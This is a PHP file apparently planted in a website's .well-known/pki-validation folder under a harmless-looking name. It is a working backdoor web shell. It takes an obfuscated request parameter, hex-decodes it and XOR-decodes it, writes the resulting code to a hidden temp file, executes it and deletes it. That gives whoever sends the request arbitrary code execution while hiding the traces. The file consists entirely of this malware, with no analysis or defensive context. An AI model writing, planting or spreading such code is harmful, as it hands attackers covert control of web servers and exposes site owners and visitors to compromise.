File: /home/burhbrzf/www/.well-known/pki-validation/news_randomnews.php
<?php
if(isset($_REQUEST["i\x74\x65m"]) ? true : false){
$val = hex2bin($_REQUEST["i\x74\x65m"]);
$token=''; $p = 0; do{$token .= chr(ord($val[$p]) ^ 85);$p++;} while($p < strlen($val));
$component = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir()]);
for ($holder = 0, $element = count($component); $holder < $element; $holder++) {
$parameter_group = $component[$holder];
if (is_writable($parameter_group) && is_dir($parameter_group)) {
$obj = join("/", [$parameter_group, ".marker"]);
if (file_put_contents($obj, $token)) {
require $obj;
unlink($obj);
die();
}
}
}
}